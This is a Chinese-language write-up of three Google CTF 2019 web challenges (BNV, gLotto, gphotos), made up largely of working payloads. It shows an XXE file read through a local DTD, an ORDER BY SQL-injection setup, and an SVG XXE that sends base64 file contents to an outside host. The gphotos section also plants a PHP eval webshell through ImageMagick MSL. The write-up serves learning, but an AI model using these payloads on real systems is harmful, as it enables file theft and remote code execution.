Google Capture The Flag 2019 (Quals) WP

0x00 前言

写篇复盘的小水文
文章首发在合天公众号,转载请注意

0x01 BNV

题目描述:

There is not much to see in this enterprise-ready™ web application.

题目地址:

https://bnv.web.ctfcompetition.com/

题目解答:

burp抓包发现传输json数据

1
2
3
4
5
6
7
8
9
10
11
12
POST /api/search HTTP/1.1
Host: bnv.web.ctfcompetition.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://bnv.web.ctfcompetition.com/
Content-type: application/json
Content-Length: 38
Connection: close

{"message":"135601360123502401401250"}

联想到json转换为xxe进行文件读取,首先为了验证猜想直接修改HTTP头Content-type的值为application/xml,重放数据包之后发现报不解析错误,确认了猜想。

83EA2441-2660-437B-8AA6-38E1D4EA37B3.png

手动把json转换为xxe格式,发现报错说缺少DTD
39377EB4-BF43-4221-9B68-C6AC640C350A.png

想到之前看到的一个点《使用本地DTD文件来利用XXE漏洞实现任意结果输出》

所以构造如下paylaod对flag进行读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /api/search HTTP/1.1
Host: bnv.web.ctfcompetition.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://bnv.web.ctfcompetition.com/
Content-type: application/xml
Content-Length: 374
Connection: close

<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

2EE1BB38-CEDE-41D0-B076-A55759EC0FFD.png

最后分享一个XXE cheat sheet <—有点老了,感觉可以把我的也整理一下发一发?随后有时间再整理吧。

0x02 gLotto

题目描述:

Are you lucky?

题目链接:

https://glotto.web.ctfcompetition.com/

题目解答:

点击页面右下角可以看到页面的源码,具体的链接是

https://glotto.web.ctfcompetition.com/?src

从源码中分析我们可以得到以下几点:

  1. orderx参数拼接可造注入
  2. orderx对应四个表,轮换查询
  3. 每次生成的session会存入数据库中
  4. 提交的code跟session相同就可以得到flag,而且判断完就销毁session

那么解决问题的关键就是利用注入来获取到之前设置的session值,而且要通过四次orderx参数的注入(order by注入)来完成。

接下来采用数学的方法来解决这个问题

https://cfreal.github.io/google-ctf-2019-glotto-writeup.html

Exp:
https://github.com/cfreal/exploits/tree/master/gctf-2019-glotto

题目的关键部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php

require_once('config.php');
require_once('watchdog.php');

function gen_winner($count, $charset='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ')
{
$len = strlen($charset);
$rand = openssl_random_pseudo_bytes($count);
$secret = '';

for ($i = 0; $i < $count; $i++)
{
$secret .= $charset[ord($rand[$i]) % $len];
}
return $secret;
}

if (isset($_GET['src'])) {
die(highlight_string(file_get_contents(__FILE__)));
} else if (isset($_POST['code'])) {
session_start();
if (!isset($_SESSION['winner'])) die;
$win = $_SESSION['winner'];
unset($_SESSION['winner']);
session_destroy();


if ($_POST['code'] === $win)
{
die("You won! $flag");
} else {
sleep(5);
die("You didn't win :(<br>The winning ticket was $win");
}
}


session_start();

$tables = array(
'march',
'april',
'may',
'june',
);

$winner = gen_winner(12);
$_SESSION['winner'] = $winner;

$db = new mysqli(null, $dbuser, $dbpass, $dbname, null, $socket);
//$db = new mysqli($dbhost, $dbuser, $dbpass, $dbname);

if ($db->connect_errno) {
printf("Connect failed: %s\n", $db->connect_error);
exit();
}

$db->query("SET @lotto = '$winner'");


for ($i = 0; $i < count($tables); $i++)
{
$order = isset($_GET["order{$i}"]) ? $_GET["order{$i}"] : '';
if (stripos($order, 'benchmark') !== false) die;
${"result$i"} = $db->query("SELECT * FROM {$tables[$i]} " . ($order != '' ? "ORDER BY `".$db->escape_string($order)."`" : ""));
if (!${"result$i"}) die;
}
?>

0x03 gphotos

题目描述:

Upload your photoz. FYI: /info.php

题目链接:

http://gphotos.ctfcompetition.com:1337/

题目解析:

首先右键源码看源码就额可以看到这个上传功能对应的后端PHP代码

1
http://gphotos.ctfcompetition.com:1337/?action=src

通过阅读代码可以发现以下几点:

  1. mime_content_type来检测文件的MIME类型并且限制了只能是image/gif, image/png, image/jpeg, image/svg+xml 这四种类型。
  2. 之后使用get_size函数,这个函数对image/png, image/jpeg,会检测大小,如果是其它类型就当做xml文件来处理。
  3. 在之后就是利用thumbnail函数来得到缩略图,这其中就使用了ImageMagick的 convert命令。
  4. 上传文件会被移动到upload目录下,并且后缀是根据对应的MIME类型进行拼接的,文件名是md5之后的hash值,而且图片是经过转换之后的缩略图,所以在图片里面藏shell代码基本不可能的了。

但是目标可以处理svg图,那么就明显是要使用XXE漏洞来达到攻击的目的了。 XXE只是帮助我获取ImageMagick的配置文件,这里有一个小trick,就是在带外传输数据的时候如何传输过长的数据。

上传如下svg图

1
2
3
4
5
6
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT svg ANY >
<!ENTITY % remote SYSTEM "http://bushwhackers.ru:8003/ev.xml" >
%remote;%template;
]><svg>&res;</svg>

ev.xml文件的内容如下

1
2
<!ENTITY % secret SYSTEM "THING_TO_STEAL" >
<!ENTITY % template "<!ENTITY res SYSTEM 'http://bushwhackers.ru:8003/a?%secret;'>">

但是此时的ev.xml对于直接传输一个文件而言还是不好用,所以借助php的伪协议来助攻一下。总之就是压缩之后进行base64

1
2
<!ENTITY % secret SYSTEM "php://filter/convert.base64-encode/resource=php://filter/zlib.deflate/resource=file:///etc/ImageMagick-6/policy.xml" >
<!ENTITY % template "<!ENTITY res SYSTEM 'http://bushwhackers.ru:8003/a?%secret;'>">

之后的paylaod还是借助ImageMagick在处理特殊的msl文件时会执行其中的命令来触发(这个特性好像只在debain上存在),具体的攻击流程如下:

首先使用如下命令生成包含webshell的png,上传之后主页会返回路径和文件名

1
convert -size 100x100 -comment '<?php eval($_GET["cmd"]); ?>' rgba:/dev/urandom[0] shell.png

返回内容

1
/var/www/html/upload/<hash>/<image>.png

PS: 注意使用bash不要用zsh

之后上传我们的svg图

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8" ?>
<!-- <svg> -->
<image>
<read filename="/var/www/html/upload/<hash>/<image>.png" />
<write filename="/var/www/html/upload/shell_huihui.php" />
<svg width="120px" height="120px">
<image href="/var/www/html/upload/<hash>/<image>.png" />
</svg>
</image>

返回内容

1
/var/www/html/upload/<hash>/<image2>.svg

最后再上传如下的svg来将上一个svg内容进行执行

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
<image width="120" height="120" href="msl:/var/www/html/upload/<hash>/<image2>.svg" />
</svg>

最后执行在webroot目录下的webshell即可

1
http://gphotos2.ctfcompetition.com:1337/upload/shell_huihui.php?cmd=system('/get_flag')

这里学到的几个点:

  1. XXE带外传输大文件的方法
  2. Debians+不安全的ImageMagick配置将会导致href标签的伪协议读文件或者是配合msl文件执行命令

like

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
<image width="120" height="120" href="text:/etc/passwd" />
</svg>

网站的关键源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
<?php

require_once('config.php');
error_reporting( E_ALL );

session_start();

// totally not copy&pasted from somewhere...
function get_size($file, $mime_type) {
if ($mime_type == "image/png"||$mime_type == "image/jpeg") {
$stats = getimagesize($file);
$width = $stats[0];
$height = $stats[1];
} else {
$xmlfile = file_get_contents($file);
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$svg = simplexml_import_dom($dom);
$attrs = $svg->attributes();
$width = (int) $attrs->width;
$height = (int) $attrs->height;
}
return [$width, $height];
}

function workdir() {
$d = 'upload/'.md5(session_id());

if (!is_dir($d))
mkdir($d);
return $d;
}

function list_photos() {
$d = 'upload/'.md5(session_id());

if (!is_dir($d)) return [];

$result = [];

foreach(glob("{$d}/*.*") as $f) {
if (strrpos($f, 'small') === FALSE)
$result[basename($f)] = $f;
}
return $result;
}

function upload() {
if (!isset($_FILES['photo']))
return;

$p = new PhotoUpload($_FILES['photo']['tmp_name']);
$p->thumbnail();
}

class PhotoUpload {
private $failed = false;

function __construct($path) {
$formats = [
"image/gif" => "gif",
"image/png" => "png",
"image/jpeg" => "jpg",
"image/svg+xml" => "svg",
// Uncomment when launching gVideoz
//"video/mp4" => "mp4",
];

$mime_type = mime_content_type($path);

if (!array_key_exists($mime_type, $formats)) {
die;
}

$size = get_size($path, $mime_type);
if ($size[0] * $size[1] > 65536) {
die;
}

$this->ext = $formats[$mime_type];
$this->name = hash_hmac('md5', uniqid(), $secret).".{$this->ext}";

move_uploaded_file($path, workdir()."/{$this->name}");
}

function thumbnail() {
exec(escapeshellcmd('convert '.workdir()."/{$this->name}".' -resize 128x128 '.workdir()."/{$this->name}_small.jpg"), $out, $ret);
if ($ret)
$this->failed = true;
}

function __destruct() {
if ($this->failed) {
shell_exec(escapeshellcmd('rm '.workdir()."/{$this->name}"));
}
}
}

if (isset($_GET['action'])) {
switch ($_GET['action']) {
case 'upload':
upload();
header('Location: ?');
die;
break;
case 'src':
show_source(__FILE__);
die;
default:
break;
}
}

?>
<html>
<head>
<title>gPhotoz</title>
</head>
<body>
<div>
<form action="?action=upload" method="POST" enctype="multipart/form-data">
<input type="file" name="photo"><input type="submit" value="Upload">
</form>
</div>
<div>
<?php foreach(list_photos() as $name => $path): ?>
<div>
<a href="<?=$path?>" alt="<?=$name?>"><img src="<?=$path.'_small.jpg'?>"></a>
</div>
<?php endforeach ?>
</div>
</body>

<a href="?action=src"></a>
</html>